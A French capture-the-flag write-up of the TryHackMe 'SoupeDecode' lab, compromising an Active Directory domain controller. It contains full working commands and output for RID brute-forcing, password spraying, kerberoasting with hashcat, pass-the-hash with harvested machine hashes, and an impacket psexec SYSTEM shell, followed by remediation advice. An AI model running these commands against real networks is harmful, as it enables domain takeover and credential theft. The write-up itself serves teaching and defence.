Lab SoupeDecode : RID Brute, Password Spraying, Kerberoasting et Pass-the-Hash vers SYSTEM
Pentest black-box d'un Contrôleur de Domaine Windows Server 2022 : énumération via session invitée et RID brute-force, password spraying sur la liste des utilisateurs, kerberoasting du compte file_svc, découverte de hashes machine dans un partage backup, et accès SYSTEM via Pass-the-Hash avec psexec.
Contexte et Objectifs
| Champ | Détail |
|---|---|
| Plateforme | TryHackMe |
| Lien | Accéder au lab |
| Cible | DC01.SOUPEDECODE.LOCAL, 10.114.158.140 |
| OS | Windows Server 2022 (Build 20348) |
| Domaine | SOUPEDECODE.LOCAL |
| Type | Black-box internal pentest, aucun credential fourni |
| Difficulté | Facile |
Scénario : Un pentest interne sur un environnement Active Directory. Aucun credential fourni. L'objectif est de compromettre le Contrôleur de Domaine en enchaînant plusieurs techniques : authentification, navigation dans les partages, password spraying et Pass-the-Hash.
Kill chain :
Session invitée → RID brute → liste utilisateurs nettoyée
│
▼
ASREP Roasting → négatif
Password Spraying → ybob317:ybob317
│
▼
Partage Users → flag utilisateur
│
▼
Kerberoasting → file_svc:Password123!!
│
▼
Partage backup → backup_extract.txt → hashes machines
│
▼
Pass-the-Hash → FileServer$ (Pwn3d!)
│
▼
psexec → nt authority\system → flag root
1. Reconnaissance
rustscan -b 500 -a 10.114.158.140 -- -sC -sV -Pn
Output :
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP
(Domain: SOUPEDECODE.LOCAL)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC01.SOUPEDECODE.LOCAL
| rdp-ntlm-info:
| Target_Name: SOUPEDECODE
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: SOUPEDECODE.LOCAL
| DNS_Computer_Name: DC01.SOUPEDECODE.LOCAL
| Product_Version: 10.0.20348
9389/tcp open mc-nmf .NET Message Framing
Host script results:
| smb2-security-mode:
|_ Message signing enabled and required
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
Analyse :
La combinaison DNS (53), Kerberos (88), LDAP (389/3268), SMB (445), kpasswd (464), RPC over HTTP (593) est la signature d'un Contrôleur de Domaine Active Directory. Le nom du domaine SOUPEDECODE.LOCAL et du DC DC01 sont directement visibles dans les scripts Nmap.
Deux observations importantes :
Message signing enabled and required : la signature SMB est obligatoire. Le NTLM Relay est donc impossible. L'exploitation passera par d'autres vecteurs.
clock-skew: -1s : décalage d'horloge d'une seconde, largement dans la tolérance Kerberos de 5 minutes. Aucun problème pour les tickets.
2. Énumération
Connexions Anonyme et Invitée
# Connexion anonyme
nxc smb 10.114.158.140 -u "" -p "" --smb-timeout 30
SMB DC01 [-] SOUPEDECODE.LOCAL\: STATUS_ACCESS_DENIED
La connexion anonyme est refusée. On teste le compte invité :
nxc smb 10.114.158.140 -u "guest" -p "" --smb-timeout 30
SMB DC01 [+] SOUPEDECODE.LOCAL\guest:
La connexion invitée est acceptée. On l'utilise comme point de départ pour l'énumération.
Enumération des Partages
nxc smb 10.114.158.140 -u "guest" -p "" --shares --smb-timeout 30
SMB DC01 Share Permissions Remark
SMB DC01 ----- ----------- ------
SMB DC01 ADMIN$ Remote Admin
SMB DC01 backup
SMB DC01 C$ Default share
SMB DC01 IPC$ READ Remote IPC
SMB DC01 NETLOGON Logon server share
SMB DC01 SYSVOL Logon server share
SMB DC01 Users
Hormis les partages par défaut, on note deux partages non standards : backup et Users. Le compte guest n'a accès en lecture à aucun des deux. Il faut des credentials valides pour les explorer.
RID Brute-Force -Enumération des Utilisateurs
La méthode --users avec le compte guest ne retourne rien : les droits sont insuffisants. On passe au RID brute-force.
Comment fonctionne le RID brute-force :
Chaque objet de sécurité Windows (utilisateur, groupe, machine) possède un SID de la forme S-1-5-21-<domain-id>-<RID>. Le RID (Relative Identifier) est un entier séquentiel attribué à la création de l'objet (500 pour l'administrateur, 501 pour le compte invité, 502 pour krbtgt, puis les comptes normaux à partir de 1000).
Le RID brute force consiste à interroger l'API SAMR (LookupSids) avec une plage de RID (typiquement 500 à ~1000+). Cette API répond souvent même quand l'énumération directe est bloquée, car elle est perçue comme une simple résolution SID→nom plutôt qu'une énumération complète.
On peut donc découvrir les objets existants dans l'AD, même avec des droits très limités comme le compte invité.
nxc smb 10.114.158.140 --rid-brute -u "guest" -p "" --smb-timeout 30
Output (extrait) :
SMB DC01 500: SOUPEDECODE\Administrator (SidTypeUser)
SMB DC01 501: SOUPEDECODE\Guest (SidTypeUser)
SMB DC01 502: SOUPEDECODE\krbtgt (SidTypeUser)
SMB DC01 1000: SOUPEDECODE\DC01$ (SidTypeUser)
SMB DC01 2163: SOUPEDECODE\firewall_svc (SidTypeUser)
SMB DC01 2164: SOUPEDECODE\backup_svc (SidTypeUser)
SMB DC01 2165: SOUPEDECODE\web_svc (SidTypeUser)
SMB DC01 2166: SOUPEDECODE\monitoring_svc (SidTypeUser)
SMB DC01 2168: SOUPEDECODE\admin (SidTypeUser)
[... + des centaines d'entrées supplémentaires]
La liste complète (utilisateurs, groupes, comptes machines) est sauvegardée dans dump.txt. On la nettoie en deux étapes pour extraire uniquement les comptes utilisateurs exploitables :
# Étape 1 : garder uniquement les SidTypeUser
grep "SidTypeUser" dump.txt | awk -F'\\' '{print $2}' > users.txt
# Étape 2 : supprimer les comptes machines (se terminant par $)
grep -v '\$' users.txt | awk '{print $1}' > clean_users.txt
head clean_users.txt -n 5
Administrator
Guest
krbtgt
bmark0
otara1
La liste clean_users.txt contient les comptes utilisateurs humains du domaine, prêts à être utilisés pour l'ASREP Roasting et le password spraying.
3. Recherche de Credentials
ASREP Roasting
On teste d'abord si des comptes de la liste ont la pré-authentification Kerberos désactivée :
impacket-GetNPUsers SOUPEDECODE.LOCAL/ \
-usersfile clean_users.txt \
-format hashcat \
-dc-ip 10.114.143.112 \
-outputfile ASREProastables.txt
Output (extrait) :
[-] User otara1 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User kleo2 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User eyara3 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User bmark0 doesn't have UF_DONT_REQUIRE_PREAUTH set
[... tous négatifs]
Aucun compte vulnérable à l'ASREP Roasting. On passe au password spraying.
Password Spraying
Comment fonctionne le password spraying :
Le password spraying est l'inverse du brute-force classique. Au lieu de tester beaucoup de mots de passe sur un seul compte (risque de blocage), on teste un seul mot de passe sur beaucoup de comptes. Cette approche évite les politiques de lockout tout en couvrant une large surface.
Ici, on teste si des utilisateurs ont leur username comme mot de passe, une mauvaise pratique malheureusement fréquente. L'option --no-brute de NetExec associe chaque username à son propre nom (user1:user1, user2:user2) plutôt que de tester toutes les combinaisons :
nxc smb 10.114.143.112 \
-u clean_users.txt \
-p clean_users.txt \
--no-brute \
--continue-on-success \
--smb-timeout 30

Un compte trouvé :
ybob317 : ybob317
4. Credentials ybob317 -Flag Utilisateur
Exploration des Partages
nxc smb 10.114.143.112 -u ybob317 -p ybob317 --shares --smb-timeout 30
SMB DC01 Share Permissions Remark
SMB DC01 ----- ----------- ------
SMB DC01 ADMIN$ Remote Admin
SMB DC01 backup
SMB DC01 C$ Default share
SMB DC01 IPC$ READ Remote IPC
SMB DC01 NETLOGON READ Logon server share
SMB DC01 SYSVOL READ Logon server share
SMB DC01 Users READ
Le partage Users est maintenant accessible en lecture. On s'y connecte :
smbclient //10.114.143.112/Users -U ybob317%ybob317
Navigation vers le Flag
smb: \> ls
. DR 0 Fri Jul 5 00:48:22 2024
.. DHS 0 Thu Jul 2 11:08:10 2026
admin D 0 Fri Jul 5 00:49:01 2024
Administrator D 0 Thu Jul 2 11:17:50 2026
Default DHR 0 Sun Jun 16 04:51:08 2024
Public DR 0 Sat Jun 15 19:54:32 2024
ybob317 D 0 Mon Jun 17 19:24:32 2024
Un dossier porte le nom de notre utilisateur. On y entre et on navigue vers le bureau :


smb: \ybob317\Desktop\> get user.txt
cat user.txt
28189316c25dd3c0ad56d44d000d62a8
Flag utilisateur récupéré.
Kerberoasting depuis ybob317
Maintenant qu'on a des credentials valides, on peut demander des TGS pour les comptes de service qui possèdent un SPN. On extrait d'abord les comptes de service de notre liste :
grep 'svc' clean_users.txt > svc_users.txt
impacket-GetUserSPNs SOUPEDECODE.LOCAL/ybob317:'ybob317' \
-dc-ip 10.114.143.112 \
-request \
-outputfile kerberoastables.txt
Output :
ServicePrincipalName Name PasswordLastSet LastLogon
---------------------- -------------- -------------------------- ---------
FTP/FileServer file_svc 2024-06-17 19:32:23.726085 <never>
FW/ProxyServer firewall_svc 2024-06-17 19:28:32.710125 <never>
HTTP/BackupServer backup_svc 2024-06-17 19:28:49.476511 <never>
HTTP/WebServer web_svc 2024-06-17 19:29:04.569417 <never>
HTTPS/MonitoringServer monitoring_svc 2024-06-17 19:29:18.511871 <never>
5 comptes kerberoastables. On craque les hashes TGS avec hashcat :
hashcat -m 13100 -a 0 kerberoastables.txt /usr/share/wordlists/rockyou.txt
Seul le premier hash tombe :
$krb5tgs$23$*file_svc$...:Password123!!
file_svc : Password123!!
5. Credentials file_svc -Partage backup
Exploration des Partages
nxc smb 10.114.143.112 -u file_svc -p 'Password123!!' --shares --smb-timeout 30
SMB DC01 Share Permissions Remark
SMB DC01 ----- ----------- ------
SMB DC01 ADMIN$ Remote Admin
SMB DC01 backup READ
SMB DC01 C$ Default share
SMB DC01 IPC$ READ Remote IPC
SMB DC01 NETLOGON READ Logon server share
SMB DC01 SYSVOL READ Logon server share
SMB DC01 Users
file_svc a accès en lecture sur le partage backup, inaccessible auparavant.
Récupération de backup_extract.txt
smbclient //10.114.143.112/backup -U file_svc%'Password123!!'
smb: \> ls
backup_extract.txt A 892 Mon Jun 17 10:41:05 2024
smb: \> get backup_extract.txt
cat backup_extract.txt
WebServer$:2119:aad3b435b51404eeaad3b435b51404ee:c47b45f5d4df5a494bd19f13e14f7902:::
DatabaseServer$:2120:aad3b435b51404eeaad3b435b51404ee:406b424c7b483a42458bf6f545c936f7:::
CitrixServer$:2122:aad3b435b51404eeaad3b435b51404ee:48fc7eca9af236d7849273990f6c5117:::
FileServer$:2065:aad3b435b51404eeaad3b435b51404ee:e41da7e79a4c76dbd9cf79d1cb325559:::
MailServer$:2124:aad3b435b51404eeaad3b435b51404ee:46a4655f18def136b3bfab7b0b4e70e3:::
BackupServer$:2125:aad3b435b51404eeaad3b435b51404ee:46a4655f18def136b3bfab7b0b4e70e3:::
ApplicationServer$:2126:aad3b435b51404eeaad3b435b51404ee:8cd90ac6cba6dde9d8038b068c17e9f5:::
PrintServer$:2127:aad3b435b51404eeaad3b435b51404ee:b8a38c432ac59ed00b2a373f4f050d28:::
ProxyServer$:2128:aad3b435b51404eeaad3b435b51404ee:4e3f0bb3e5b6e3e662611b1a87988881:::
MonitoringServer$:2129:aad3b435b51404eeaad3b435b51404ee:48fc7eca9af236d7849273990f6c5117:::
Analyse du fichier :
Ce fichier est une extraction de hashes NTLM de comptes machines, au format nom:RID:LM_hash:NT_hash. Deux observations :
aad3b435b51404eeaad3b435b51404ee est le hash LM d'un mot de passe vide, utilisé quand le protocole LM est désactivé. Ce n'est pas exploitable.
MailServer$ et BackupServer$ partagent exactement le même hash NT 46a4655f18def136b3bfab7b0b4e70e3. Idem pour CitrixServer$ et MonitoringServer$ avec 48fc7eca9af236d7849273990f6c5117. Ce sont probablement des comptes créés depuis le même template avec le même mot de passe.
6. Pass-the-Hash avec les Comptes Machines
On extrait les usernames et les hashes NT dans des fichiers séparés :
cut -d':' -f1 backup_extract.txt > back_users.txt
cut -d':' -f4 backup_extract.txt > hashes.txt
On teste tous les couples username/hash en Pass-the-Hash sur le DC :
nxc smb 10.114.143.112 \
-u back_users.txt \
-H hashes.txt \
--smb-timeout 30 \
--continue-on-success

Un compte retourne le tag Pwn3d! :
FileServer$ : e41da7e79a4c76dbd9cf79d1cb325559
Confirmation des droits
nxc smb 10.114.143.112 \
-u 'FileServer$' \
-H e41da7e79a4c76dbd9cf79d1cb325559 \
--shares --smb-timeout 30
SMB DC01 [+] SOUPEDECODE.LOCAL\FileServer$:e41da7e79a4c76dbd9cf79d1cb325559 (Pwn3d!)
SMB DC01 Share Permissions Remark
SMB DC01 ----- ----------- ------
SMB DC01 ADMIN$ READ,WRITE Remote Admin
SMB DC01 C$ READ,WRITE Default share
SMB DC01 NETLOGON READ,WRITE Logon server share
SMB DC01 SYSVOL READ,WRITE Logon server share
L'accès READ,WRITE sur ADMIN$ et C$ confirme les droits d'administration locale sur le DC. FileServer$ est en réalité un compte avec des privilèges Domain Admin ou équivalents.
7. Shell SYSTEM via psexec
psexec d'Impacket utilise le partage ADMIN$ pour copier un exécutable de service temporaire sur la cible, le démarrer via le Service Control Manager, et obtenir un shell en tant que nt authority\system.
impacket-psexec \
'SOUPEDECODE.LOCAL/FileServer$@10.114.143.112' \
-hashes :e41da7e79a4c76dbd9cf79d1cb325559
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on 10.114.143.112.....
[*] Found writable share ADMIN$
[*] Uploading file uMhykhcU.exe
[*] Opening SVCManager on 10.114.143.112.....
[*] Creating service UgLO on 10.114.143.112.....
[*] Starting service UgLO.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.587]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
Accès SYSTEM sur le DC.
8. Flag Root
C:\Windows\system32> cd C:\Users\Administrator\Desktop
C:\Users\Administrator\Desktop> dir

C:\Users\Administrator\Desktop> lget root.txt

cat root.txt
27cb2be302c388d63d27c86bfdd5f56a
9. Conclusion et Remédiation
Kill Chain Complète
1. RustScan → DC01.SOUPEDECODE.LOCAL, signing requis
2. Session guest → connexion anonyme refusée, invité accepté
3. RID brute-force → liste complète d'utilisateurs extraite
4. Nettoyage → clean_users.txt avec utilisateurs humains uniquement
5. ASREP Roasting → négatif sur tous les comptes
6. Password Spraying → ybob317:ybob317 trouvé
7. Partage Users → flag utilisateur récupéré
8. Kerberoasting → file_svc:Password123!! cracké
9. Partage backup → backup_extract.txt avec hashes machines
10. Pass-the-Hash → FileServer$ (Pwn3d!)
11. psexec → nt authority\system
12. Flag root → 27cb2be302c388d63d27c86bfdd5f56a
Remédiation
| Vecteur | Problème | Remédiation |
|---|---|---|
| Session invitée active | Le compte guest permet le RID brute-force | Désactiver le compte guest via la politique Accounts: Guest account status = Disabled |
| RID brute-force possible | Énumération des SIDs via SAMR sans authentification forte | Restreindre l'accès au protocole SAMR aux seuls comptes nécessaires via Network access: Restrict clients allowed to make remote calls to SAM |
| Username comme mot de passe | ybob317:ybob317 est un credential trivial | Imposer une politique de mot de passe : longueur minimale 12 caractères, complexité obligatoire, interdire le username dans le mot de passe |
| Kerberoasting | file_svc possède un SPN et un mot de passe faible | Utiliser des Managed Service Accounts (gMSA) dont le mot de passe est géré automatiquement par l'AD, ou imposer des mots de passe de 25+ caractères sur tous les comptes de service |
| Hashes en clair dans un partage | backup_extract.txt accessible depuis le partage backup en lecture | Ne jamais stocker de hashes NTLM dans des fichiers accessibles via SMB. Chiffrer les sauvegardes et restreindre l'accès aux seuls comptes de sauvegarde dédiés |
| Pass-the-Hash possible | FileServer$ accepte l'authentification NTLM | Activer Protected Users Security Group pour les comptes sensibles, activer Windows Defender Credential Guard |
| Compte machine avec droits Domain Admin | FileServer$ dispose de privilèges équivalents à un DA | Auditer les membres des groupes Domain Admins et Enterprise Admins, appliquer le principe de moindre privilège sur tous les comptes machines |
[!NOTE] La leçon de ce lab : aucune étape n'a nécessité une vulnérabilité logicielle. La compromission complète, de zéro credential jusqu'à SYSTEM sur le DC, repose entièrement sur des erreurs de configuration et de gestion des secrets : session invitée active, mot de passe trivial, kerberoasting non protégé, hashes stockés dans un partage. Ce type de pentest est malheureusement représentatif de ce qu'on trouve en entreprise.
Writeup rédigé par Zcook
